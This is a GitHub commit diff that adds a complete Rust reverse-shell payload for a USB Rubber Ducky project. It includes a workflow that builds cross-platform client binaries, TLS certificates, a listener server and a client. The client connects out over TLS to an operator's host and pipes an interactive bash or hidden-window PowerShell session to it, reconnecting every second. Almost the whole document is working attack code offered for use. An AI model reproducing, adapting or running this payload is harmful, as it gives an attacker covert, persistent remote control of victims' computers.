-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
4f5831f
commit b13b4b7
Showing
8 changed files
with
291 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
name: revshell | ||
|
||
on: workflow_dispatch | ||
|
||
jobs: | ||
build-unix: | ||
name: ${{ matrix.os }} build | ||
runs-on: ${{ matrix.os }} | ||
strategy: | ||
matrix: | ||
os: [ubuntu-latest, macos-13, macos-14] | ||
steps: | ||
- uses: actions/checkout@v4 | ||
- name: Build executable | ||
working-directory: ./samples/apps/rubberducky/payloads/revshell | ||
run: cargo build --release --bin client | ||
- name: Rename executable | ||
run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client ./${{ matrix.os }}-client | ||
- uses: actions/upload-artifact@v4 | ||
with: | ||
name: ${{ matrix.os }}-client | ||
path: ${{ matrix.os }}-client | ||
|
||
build-windows: | ||
name: windows-latest build | ||
runs-on: windows-latest | ||
steps: | ||
- uses: actions/checkout@v4 | ||
- uses: ilammy/setup-nasm@v1 | ||
- name: Build executable | ||
working-directory: ./samples/apps/rubberducky/payloads/revshell | ||
run: cargo build --release --bin client | ||
- name: Rename executable | ||
run: mv ./samples/apps/rubberducky/payloads/revshell/target/release/client.exe ./windows-latest-client.exe | ||
- uses: actions/upload-artifact@v4 | ||
with: | ||
name: windows-latest-client | ||
path: windows-latest-client.exe | ||
|
||
merge: | ||
name: merge artifacts | ||
runs-on: ubuntu-latest | ||
needs: [build-unix, build-windows] | ||
steps: | ||
- uses: actions/upload-artifact/merge@v4 | ||
with: | ||
name: clients | ||
delete-merged: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,6 @@ | ||
*.DS_Store | ||
.DS_Store | ||
.vscode | ||
build | ||
target | ||
Cargo.lock | ||
*.key.pem |
2 changes: 2 additions & 0 deletions
2
samples/apps/rubberducky/payloads/revshell/.cargo/config.toml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
[target.'cfg(not(target_os = "linux"))'] | ||
rustflags = ["-C", "target-feature=+crt-static"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
[package] | ||
name = "revshell" | ||
default-run = "client" | ||
version = "0.1.0" | ||
edition = "2021" | ||
|
||
[[bin]] | ||
name = "client" | ||
path = "src/client.rs" | ||
|
||
[[bin]] | ||
name = "server" | ||
path = "src/server.rs" | ||
|
||
[target.'cfg(not(target_os = "windows"))'.dependencies] | ||
termios = "0.3" | ||
|
||
[dependencies] | ||
rustls-pemfile = "2.1" | ||
tokio = { version = "1", features = ["full"] } | ||
tokio-rustls = "0.26" | ||
|
||
# Windows needs more setup to build | ||
# https://aws.github.io/aws-lc-rs/requirements/windows.html | ||
# https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation | ||
|
||
# TODO add to payload |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
-----BEGIN CERTIFICATE----- | ||
MIIBoDCCAUWgAwIBAgIUNXzvXOCfzWTl6isCdYTnrI+Dl8IwCgYIKoZIzj0EAwIw | ||
JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx | ||
MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowGjEYMBYGA1UEAwwPbWF0dGhld3Ry | ||
YW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEbVL9u1IbJ0cMVk7yd2Np | ||
Kdr5j91jZoy/DHZP12NIw0tjDclxNk30ny0j7QFkAcHyNyYHGypQw/TAJJWYxKdB | ||
maNaMFgwHwYDVR0jBBgwFoAUK0a6R9tAZj+bSAtCmTDiCcrEIuowJQYDVR0RBB4w | ||
HIIPbWF0dGhld3RyYW4uY29tgglsb2NhbGhvc3QwDgYDVR0PAQH/BAQDAgeAMAoG | ||
CCqGSM49BAMCA0kAMEYCIQC6J92vw968Vu4SYuEd4sYYeSYOcF0Jtxzrb8qx2pDh | ||
KgIhAJI4qrNzMA1AVTTKWBZ3foord9L0ai5PVGzZeV2RgqWB | ||
-----END CERTIFICATE----- |
11 changes: 11 additions & 0 deletions
11
samples/apps/rubberducky/payloads/revshell/certs/root-ca.pem
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
-----BEGIN CERTIFICATE----- | ||
MIIBkzCCATqgAwIBAgIUfxbNCkS0wwir3RsgzDpcWc4HfTswCgYIKoZIzj0EAwIw | ||
JzELMAkGA1UEBhMCQlIxGDAWBgNVBAoMD0NyYWIgd2lkZ2l0cyBTRTAgFw03NTAx | ||
MDEwMDAwMDBaGA80MDk2MDEwMTAwMDAwMFowJzELMAkGA1UEBhMCQlIxGDAWBgNV | ||
BAoMD0NyYWIgd2lkZ2l0cyBTRTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABERX | ||
Wd7NAvl0w8vE9TgnSG04IU4kKF66LJWjZIMMvpMQm08i9GgceJmQu5AM1UvXmTVy | ||
k4wW5IiIy+KQ+WIyahyjQjBAMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUK0a6 | ||
R9tAZj+bSAtCmTDiCcrEIuowDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAgNH | ||
ADBEAiAtPO+G/+HujOl56lBVcDvRw3d2PxuXYfctsTE0grvJqwIgXIEfl16Z19GR | ||
yhyVToC54hSUkWjAd/BQkDUyotY17c4= | ||
-----END CERTIFICATE----- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
use crate::rustls::pki_types::ServerName; | ||
use std::process::Stdio; | ||
use tokio::io::{AsyncReadExt, AsyncWriteExt}; | ||
use tokio_rustls::rustls; | ||
|
||
#[cfg(target_os = "windows")] | ||
const SHELL: &str = "powershell.exe"; | ||
|
||
#[cfg(target_os = "windows")] | ||
const SHELL_ARGS: &[&str] = &["-WindowStyle", "hidden"]; // TODO redirect everything | ||
|
||
#[cfg(any(target_os = "macos", target_os = "linux"))] | ||
const SHELL: &str = "/bin/bash"; | ||
|
||
#[cfg(any(target_os = "macos", target_os = "linux"))] | ||
const SHELL_ARGS: &[&str] = &["-i"]; | ||
|
||
async fn start_shell(addr: &str) -> tokio::io::Result<()> { | ||
// setup TLS | ||
let mut cert = include_bytes!("../certs/root-ca.pem").as_slice(); | ||
let mut root = rustls::RootCertStore::empty(); | ||
for c in rustls_pemfile::certs(&mut cert) { | ||
root.add(c.unwrap()).unwrap(); | ||
} | ||
let cfg = rustls::ClientConfig::builder() | ||
.with_root_certificates(root) | ||
.with_no_client_auth(); | ||
let conn = tokio_rustls::TlsConnector::from(std::sync::Arc::new(cfg)); | ||
|
||
// start connection | ||
let sock = tokio::net::TcpStream::connect(addr).await?; | ||
let domain = ServerName::try_from(addr.split(':').next().unwrap().to_string()).unwrap(); | ||
let mut sock = conn.connect(domain, sock).await?; | ||
|
||
// start shell | ||
let mut cmd = tokio::process::Command::new(SHELL) | ||
.args(SHELL_ARGS) | ||
.stdin(Stdio::piped()) | ||
.stdout(Stdio::piped()) | ||
.stderr(Stdio::piped()) | ||
.spawn()?; | ||
|
||
// pipe stdin/stdout/stderr | ||
let mut stdin = cmd.stdin.take().unwrap(); | ||
let mut stdout = cmd.stdout.take().unwrap(); | ||
let mut stderr = cmd.stderr.take().unwrap(); | ||
let _ = tokio::spawn(async move { | ||
let mut buf_in = [0; 1024]; | ||
let mut buf_out = [0; 1024]; | ||
let mut buf_err = [0; 1024]; | ||
loop { | ||
tokio::select! { | ||
v = sock.read(&mut buf_in) => { | ||
let v = v?; | ||
match v { | ||
0 => break, | ||
len => stdin.write_all(&buf_in[0..len]).await?, | ||
} | ||
} | ||
v = stdout.read(&mut buf_out) => { | ||
let v = v?; | ||
match v { | ||
0 => break, | ||
len => sock.write_all(&buf_out[0..len]).await?, | ||
} | ||
} | ||
v = stderr.read(&mut buf_err) => { | ||
let v = v?; | ||
match v { | ||
0 => break, | ||
len => sock.write_all(&buf_err[0..len]).await?, | ||
} | ||
} | ||
} | ||
} | ||
Ok::<(), tokio::io::Error>(()) | ||
}) | ||
.await; | ||
let _ = cmd.wait().await; | ||
Ok(()) | ||
} | ||
|
||
#[tokio::main] | ||
async fn main() { | ||
let addr = std::env::args() | ||
.nth(1) | ||
.unwrap_or("localhost:8080".to_string()); | ||
loop { | ||
let err = start_shell(&addr).await; | ||
if let Err(msg) = err { | ||
println!("{}", msg); | ||
} else { | ||
println!("graceful exit"); | ||
} | ||
tokio::time::sleep(tokio::time::Duration::from_millis(1000)).await; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,90 @@ | ||
use std::os::fd::AsRawFd; | ||
use tokio::io::{AsyncReadExt, AsyncWriteExt}; | ||
use tokio_rustls::rustls; | ||
|
||
/* | ||
* git clone https://github.com/rustls/rcgen.git && cd rcgen | ||
* cargo run -- --common-name=matthewtran.com --san=matthewtran.com --san=localhost --output=certs | ||
*/ | ||
|
||
async fn connect_shell(addr: &str) -> tokio::io::Result<()> { | ||
// setup TLS | ||
let mut key = include_bytes!("../certs/cert.key.pem").as_slice(); | ||
let mut cert = include_bytes!("../certs/cert.pem").as_slice(); | ||
let key = rustls_pemfile::private_key(&mut key).unwrap().unwrap(); | ||
let cert = rustls_pemfile::certs(&mut cert) | ||
.collect::<Result<Vec<_>, _>>() | ||
.unwrap(); | ||
let cfg = rustls::ServerConfig::builder() | ||
.with_no_client_auth() | ||
.with_single_cert(cert, key) | ||
.unwrap(); | ||
let acc = tokio_rustls::TlsAcceptor::from(std::sync::Arc::new(cfg)); | ||
|
||
// start connection | ||
let tcp = tokio::net::TcpListener::bind(addr).await?; | ||
let (sock, addr) = tcp.accept().await?; | ||
let mut sock = acc.accept(sock).await?; | ||
println!("connected to {}", addr); | ||
|
||
// pipe to stdin/stdout | ||
let _ = tokio::spawn(async move { | ||
let mut stdin = tokio::io::stdin(); | ||
let mut stdout = tokio::io::stdout(); | ||
let mut read_buf = [0; 1024]; | ||
let mut write_buf = [0; 1024]; | ||
loop { | ||
tokio::select! { | ||
v = sock.read(&mut read_buf) => { | ||
let v = v?; | ||
match v { | ||
0 => break, | ||
len => { | ||
stdout.write_all(&read_buf[0..len]).await?; | ||
stdout.flush().await? | ||
}, | ||
} | ||
} | ||
v = stdin.read(&mut write_buf) => { | ||
let v = v?; | ||
match v { | ||
0 => break, | ||
len => sock.write_all(&write_buf[0..len]).await?, | ||
} | ||
} | ||
} | ||
} | ||
Ok::<(), tokio::io::Error>(()) | ||
}) | ||
.await; | ||
Ok(()) | ||
} | ||
|
||
#[tokio::main] | ||
async fn main() -> tokio::io::Result<()> { | ||
// disable stdin echo and newline buffering | ||
let stdin_fd = std::io::stdin().as_raw_fd(); | ||
let termios_old = termios::Termios::from_fd(stdin_fd).unwrap(); | ||
let mut termios = termios_old; | ||
termios.c_lflag &= !(termios::ECHO | termios::ICANON); | ||
termios.c_cc[termios::VMIN] = 1; | ||
termios.c_cc[termios::VTIME] = 0; | ||
termios::tcsetattr(stdin_fd, termios::TCSANOW, &termios)?; | ||
|
||
// start connection | ||
let addr = std::env::args() | ||
.nth(1) | ||
.unwrap_or("0.0.0.0:8080".to_string()); | ||
let err = connect_shell(&addr).await; | ||
if let Err(msg) = err { | ||
println!("{}", msg); | ||
} | ||
|
||
// revert stdin | ||
termios::tcsetattr(stdin_fd, termios::TCSADRAIN, &termios_old)?; | ||
|
||
println!("press enter again to exit..."); // https://docs.rs/tokio/latest/tokio/io/struct.Stdin.html | ||
Ok(()) | ||
|
||
// TODO manage multiple connections | ||
} |